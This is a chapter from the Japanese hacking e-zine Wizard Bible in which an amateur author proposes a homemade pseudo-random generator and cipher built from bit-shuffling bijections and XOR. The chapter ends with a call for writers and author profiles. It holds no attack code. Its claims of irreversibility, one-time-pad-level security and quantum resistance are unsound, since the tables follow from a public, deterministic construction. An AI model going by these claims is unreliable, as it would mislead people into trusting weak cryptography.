x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: 嘆きの擬似乱数 --- 著者：髙田　勉 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.)　はじめに 　人類は戦争のたびに暗号技術を進歩させて来ました。 　敵を知り己を知れば百戦百勝す、です。 　第二次大戦では弾道計算と暗号解読がコンピュータを求めたのです。 　コンピュータについてはブラックボックスというのか、賢明な無知を強いられ ることが多くて敬遠が本音なんですが、それでも自己防衛のためにセキュリティ の基本は知っておきたい。 　そこで暗号なんですけど整数論や統計おまけにエントロピーまで飛び出すのだ から手に負えない。 　だけど抽象論とは違い、数学が現実社会にこれだけ近付いたものは他にない。 　今、暗号技術の発達の原動力はＷＥＢと経済活動に拠るものが大きい。 　昔から、国においては法律を定めて文字にし徴税のために数を記録し、人は商 取引にその両方を用いて契約を結びました。 　相手の欲しい物を高く売り自らは安く買う、自ら秘密を保持しつつ情報開示を 求める商行為は信用と裏切りがない交ぜで戦争と経済は同じもののようです。 ●1.1　ところで 　エニアックと同じ頃という新しさでフォン・ノイマンの平方採中法という擬似 乱数生成法が古典的生成法と言われるのは、音域が広くて当時では大音量であっ たはずのピアノ以降の音楽がクラシックと呼ばれるのと似ています。 　古典とはいっても暗号化法の歴史に比べ擬似乱数の方はまだ新しいといえます。 　けれども擬似乱数生成法は依然、暗号化の手法に頼っていて数をかき混ぜる或 いは長い循環を見つけ出す最善の方法を探しているだけのように見えます。 それらはディテールであって本質ではないように私には思える。 ■0x02.)　SPNetworkのビット操作は古典というより原始的？ 　さて全単射写像拡大という最も単純な擬似乱数生成法を紹介します。 　全単射写像というのはシード（初期値）を逆算できる擬似乱数のようなものと 思ってください。 　換字と並べ替えによる置換でも擬似乱数を作ることが出来ます。 ●2.1 　まずは６ビット情報を変換することなしに８ビットの全単射写像に拡大します。 　それぞれ１ビットの情報を持つ変数Ｙ、Ｚ、Ａ、Ｂ、Ｃ、Ｄについて、２ビッ トを１単位としてＹＺとＡＢ、ＣＤのブロックに分ける。 　ＡＢ、ＣＤのブロックそれぞれにＹＺを追加して付け加える。 　ＡＢＹＺの値の４ビットとＣＤＹＺの４ビットの計８ビットをＡＢＹＺＣＤＹ Ｚの順に並べる。 　Ｙ、Ｚ、ＡとＢ、Ｃ、Ｄの組み合わせは６４通りあって８ビットの各値はＹＺ ＡＢＣＤの値と一対一対応していて、それらはＹＺＡＢＣＤの全単射写像といえ る。 　下はその表です。 +---------------------------------------+ | 00 | 04 | 08 | 0c | 40 | 44 | 48 | 4c | |---------------------------------------| | 80 | 84 | 88 | 8c | c0 | c4 | c8 | cc | |---------------------------------------| | 11 | 15 | 19 | 1d | 51 | 55 | 59 | 5d | |---------------------------------------| | 91 | 95 | 99 | 9d | d1 | d5 | d9 | dd | |---------------------------------------| | 22 | 26 | 2a | 2e | 62 | 66 | 6a | 6e | |---------------------------------------| | a2 | a6 | aa | ae | e2 | e6 | ea | ee | |---------------------------------------| | 33 | 37 | 3b | 3f | 73 | 77 | 7b | 7f | |---------------------------------------| | b3 | b7 | bb | bf | f3 | f7 | fb | ff | +---------------------------------------+ 　因みに変数Ｗ、Ｘを加えて計８ビットの情報を変換することなしに１６ビット の全単射写像に拡大するには先のＡＢＹＺＣＤＹＺを２ビットずつに区切ってＡ ＢＷＸＹＺＷＸＣＤＷＸＹＺＷＸというようにＷＸを追加して並べればよい。 　つまり、この全単射写像拡大の手続きはＮビットの変数について２の（Ｎ÷２） 乗ビットの全単射写像を出力する。（但しＮは偶数で６以上の整数） ●2.2 　次にＮビットの変数を換字と並べ替えで置換したものについて同様に全単射写 像を作る。 　下は６ビット情報を置換した全単射写像の表です。 +---------------------------------------+ | 00 | 98 | 93 | 0b | a8 | 30 | 3b | a3 | |---------------------------------------| | ab | 33 | 38 | a0 | 03 | 9b | 90 | 08 | |---------------------------------------| | 55 | cc | c6 | 5f | fc | 65 | 6f | f6 | |---------------------------------------| | ff | 66 | 6c | f5 | 56 | cf | c5 | 5c | |---------------------------------------| | 76 | ef | e5 | 7c | df | 46 | 4c | d5 | |---------------------------------------| | dc | 45 | 4f | d6 | 75 | ec | e6 | 7f | |---------------------------------------| | 23 | bb | b0 | 28 | 8b | 13 | 18 | 80 | |---------------------------------------| | 88 | 10 | 1b | 83 | 20 | b8 | b3 | 2b | +---------------------------------------+ ●2.3 　そして、先ほどの全単射写像とＥＸＯＲ演算すれば逆算できない擬似乱数の出 来上がりです。 　下の６４通りの各値はＹＺＡＢＣＤの値と一対一対応していて、それらはＹＺ ＡＢＣＤから作られる８ビットの擬似乱数です。 +---------------------------------------+ | 00 | 9c | 9b | 07 | e8 | 74 | 73 | ef | |---------------------------------------| | 2b | b7 | b0 | 2c | c3 | 5f | 58 | c4 | |---------------------------------------| | 44 | d9 | df | 42 | ad | 30 | 36 | ab | |---------------------------------------| | 6e | f3 | f5 | 68 | 87 | 1a | 1c | 81 | |---------------------------------------| | 54 | c9 | cf | 52 | bd | 20 | 26 | bb | |---------------------------------------| | 7e | e3 | e5 | 78 | 97 | 0a | 0c | 91 | |---------------------------------------| | 10 | 8c | 8b | 17 | f8 | 64 | 63 | ff | |---------------------------------------| | 3b | a7 | a0 | 3c | d3 | 4f | 48 | d4 | +---------------------------------------+ 　８ビットを１６ビットに拡大したり、詳しいことはＧＯＯＧＬＥのブログに書 いてあります。 http://takadasan.blogspot.com/ ■0x03.)　擬似乱数って本当に？ 　この表はなんだかＤＥＳのＳボックスの中味みたいと思うかも知れませんが、 あれは緻密に設計されたもので、これは置換によって自然に出来るもの。 　ＤＥＳの非線形性はＳボックスの表を参照することで生じるものですが、この 擬似乱数の一方向性はＥＸＯＲ演算によるものです。 　Ａ＾Ｂ＝Ｃ　のとき、Ｃの値だけからＡとＢの値を求めることは出来ない。 　ＹＺＡＢＣＤの全単射写像同士をＥＸＯＲ演算したものが０でない時、どちら かの全単射写像の値がなければ上の各値からもう一つの全単射写像の値を求める ことは出来ないので原像であるＹＺＡＢＣＤの値は逆算できません。 　しかし、この擬似乱数生成法はビット数が増えると作成に時間がかかるのが難 点です。 　Ｎビットについて２の（Ｎ÷２）乗ビットの全単射写像を出力するために、そ の前の（Ｎ−２）ビットの全単射写像を作る２倍の手数が必要です。 　たとえば、もし１秒に１兆ビットの擬似乱数を出力するコンピュータがあると して、１兆は（２の４０乗）だから擬似乱数のシードの大きさは８０ビットとい うことになり、１年が（２の２５乗）秒としてその出力表を作るのに（２の５５ 乗）年が必要です。 　逆算が出来なくて全鍵検索にも同じだけ時間を費やして、５０ビットのシード を用いるなら１０００年かかることになる。 ■0x04.)　応用は？ 　それでも公開鍵と異なり整数の値すべてを使用出来るのは利点です。 　そこで、ワンタイムパッドそれもヴァーナム暗号として利用するか又はハッシ ュ関数として利用するかが考えられます。 　ヴァーナム暗号は平文と同じ長さの鍵が必要であることから単に理論的に安全 な暗号として扱われてきました。 　この擬似乱数生成法なら平文より小さな乱数の種で平文より長い乱数列が作れ ます。もちろん、シャノンの証明の前提である平文と同じか長い乱数というのが 擬似乱数に替わるのだから再検証が必要かな。 　ハッシュ関数は元のビット列の一つを捨て去り、残りを計算に使用するのが多 いですね。 　１ビット情報の変数Ａ、Ｂ、Ｃ、Ｄについて３ビット情報を取り出すなら各ビ ットの組み合わせをＥＸＯＲ演算したもののうちから選ぶべきです。 　Ａ＾Ｂ、Ａ＾Ｃ、Ｃ＾Ｄの値を用いて二つの４ビット情報Ａ、Ｂ、Ｃ、ＤとＷ、 Ｘ、Ｙ、Ｚについて各３ビットを取り出し、上の置換しない８ビットの全単射写 像を生成して、もう一つの８ビット情報についても同様にし、置換した全単射写 像とＥＸＯＲ演算したところ、００〜ＦＦの値がそれぞれ２５６回出現し１６ビ ットが８ビットに半減するという良い結果がでました。 　ダイジェストとＥＸＯＲ演算、両方による一方向性は非常に有効です。 ●4.1　嘆きの擬似乱数による暗号化 　置換して６ビットから８ビットへ拡大した上の表の各値と、ＷＸの２ビットを 追加したＡＢＣＤＹＺＷＸの８ビット値とをＥＸＯＲ演算してみると、００〜Ｆ Ｆの値が一様分布しているのが分かります。 +-----------------------------------------------+ |00|88|b3|3b|e8|60|5b|d3|2b|a3|98|10|c3|4b|70|f8| |51|d8|e2|6b|b8|31|0b|82|7b|f2|c8|41|92|1b|21|a8| |7e|f7|cd|44|97|1e|24|ad|54|dd|e7|6e|bd|34|0e|87| |2f|a7|9c|14|c7|4f|74|fc|04|8c|b7|3f|ec|64|5f|d7| |01|89|b2|3a|e9|61|5a|d2|2a|a2|99|11|c2|4a|71|f9| |50|d9|e3|6a|b9|30|0a|83|7a|f3|c9|40|93|1a|20|a9| |7f|f6|cc|45|96|1f|25|ac|55|dc|e6|6f|bc|35|0f|86| |2e|a6|9d|15|c6|4e|75|fd|05|8d|b6|3e|ed|65|5e|d6| |02|8a|b1|39|ea|62|59|d1|29|a1|9a|12|c1|49|72|fa| |53|da|e0|69|ba|33|09|80|79|f0|ca|43|90|19|23|aa| |7c|f5|cf|46|95|1c|26|af|56|df|e5|6c|bf|36|0c|85| |2d|a5|9e|16|c5|4d|76|fe|06|8e|b5|3d|ee|66|5d|d5| |03|8b|b0|38|eb|63|58|d0|28|a0|9b|13|c0|48|73|fb| |52|db|e1|68|bb|32|08|81|78|f1|cb|42|91|18|22|ab| |7d|f4|ce|47|94|1d|27|ae|57|de|e4|6d|be|37|0d|84| |2c|a4|9f|17|c4|4c|77|ff|07|8f|b4|3c|ef|67|5c|d4| +-----------------------------------------------+ 　ＹＺＡＢＣＤについての８ビット長の全単射写像とＡＢＣＤＹＺＷＸとのＥＸ ＯＲ演算ですから、ワンタイムパッドの手法で通信先にＹＺＡＢＣＤの６ビットが 既に手渡たされているとすれば、相手にはＥＸＯＲ演算値のうちの下位２ビットを 送るだけでよい。 　これはＹＺＡＢＣＤの６ビットでＷ、Ｘを暗号化したことなり、シャノンがいう 「平文サイズ≦鍵サイズ」なので、この暗号化は安全です。 　また、８ビットを１６ビットに拡大する嘆きの擬似乱数生成法でも８ビットを 追加した１６ビットとのＥＸＯＲ演算値は００００〜ＦＦＦＦの値が一様分布し ていて、下位８ビットを送るならこれは「平文サイズ＝鍵サイズ」なので同じく 安全な暗号化法といえます。 　それ以上のビット数の場合でも、悪意のある解読者が平文と暗号化文の手に両 方を入れて全鍵検索をしたとしても送信されない部分のビット値が分からないと シードの値を確定できずに終わるはずです。 ●4.2　無作為性と最大エントロピー 　擬似乱数生成法にも色々あつて、乱数の検定というのがあるんですねぇ。 　擬似乱数列の統計的な性質を調べて偏りがないなら、その擬似乱数列は無作為 であると考えられるそうです。 　そしてこんな表をインターネットで見つけたのです。 各 bit の 1 の出現回数 +-----------------------------------------------------------+ |　　　アルゴリズム　　　|最大出現数|最小出現数| 平均出現数 | |-----------------------------------------------------------| |　　　線形合同法　　　　| 1047 | 954 | 1001 | |-----------------------------------------------------------| |線形Ｆ．Ｂシフトレジスタ| 1069 | 907 | 1001 | |-----------------------------------------------------------| |　メルセンヌ・ツイスタ　| 1097 | 927 | 999 | |-----------------------------------------------------------| |　　ＸｏｒＳｈｉｆｔ　　| 1098 | 922 | 998 | +-----------------------------------------------------------+ 　他にも色々な観点から統計的に調べていて、平均的な誤差の観点ではどのアル ゴリズムも誤差が小さいと結論付けています。高知大だったと思いますが・・・ 引用元を忘れてご免なさい 「全単射写像拡大による擬似乱数生成法」はこのような誤差はありません。嘆き の擬似乱数での一様分布は元のＮビットのシードの分布と変わらず、それは最大 のエントロピーを保っています。 ●4.3　関心事 　例えば素数判定プログラムが黒船だとすると、量子計算機という公開鍵マニア には宇宙船艦ヤマトみたいなのが現れて、とっても面白くなって来たようです。 　もし、量子計算機で数千量子ビットのハードウェアが実現したら並列処理して 理論上、現在の最速スーパーコンピュータ（並列度が220以下）で数千年かかって も解けないような計算でも、数十秒といった短い時間でこなすことができるそう な。 　そうなると数学的な難問を解くのに掛かるコンピュータ的時間量を一方向性の 根拠とする公開鍵は立場が危うい。 　もともと、この問題は解けない又は時間が掛かるという主張は学問や技術の進 歩を否定するようなものでボトルネックが解消すれば効能を失うものです。 　しかし逆算が出来なくて作るのと同じだけ時間を費やすと先に述べた嘆きの擬 似乱数はそうではない。量子計算機が、１秒に１兆ビットの擬似乱数を出力する コンピュータの１兆倍の計算能力を持つとしてもそのシードの大きさを倍の１６ ０ビットにすればその出力表を作るのに（２の１３５乗）年かかることになる。 　勿論、そんな大きな乱数列は実用に使うには不可能なのが悩みです。 ■0x05.)　おわりに 　ブログの記事には特許という知的所有権が絡んでいて、研究や学習用の配布は 自由ですが引用元を明記するなど注意が必要です。 　ましてや無料のアプリケーションを作って配布することは出来ません。 　必ず金儲けのためでなくてはいけないのです。 　そして利益を私にも分けて下さい。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible（http://wizardbible.org/）では随時、執筆ライターを募集して います。 　扱う内容のテーマは広義での「under ground」です。例えばハッキングやセキ ュリティからピッキングなどと幅広い内容を考えています。また特殊な職業や趣 味の解説などでも構いません。 　一回きりでも構いません。また必ず毎回連載する義務もありませんので、でき る範囲で構いません。気軽に声をかけてください。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://wizardbible.org/wbQandA.html ○Wizard Bibleに参加希望の方は気軽にメール（ipusiron@gmail.com）ください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第4章: 著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■unya ●Job: ネットワークエンジニア ●Web: http://routehack.org/ ●Mail: unya@routehack.org ●Comment: 　前回に引き続きARPスプーフィングです。ARPについて書いたらIPv4ネタはおし まいにしよう、と以前から考えていたので、今後はIPv6セキュリティをネタにし ていこうと考えています。 　ではでは。 ■髙田　勉 ●Job: 失業中 ●ブログ:http://takadasan.blogspot.com/ ●Mail: mensan00@gmail.com ●Comment:　初投稿です。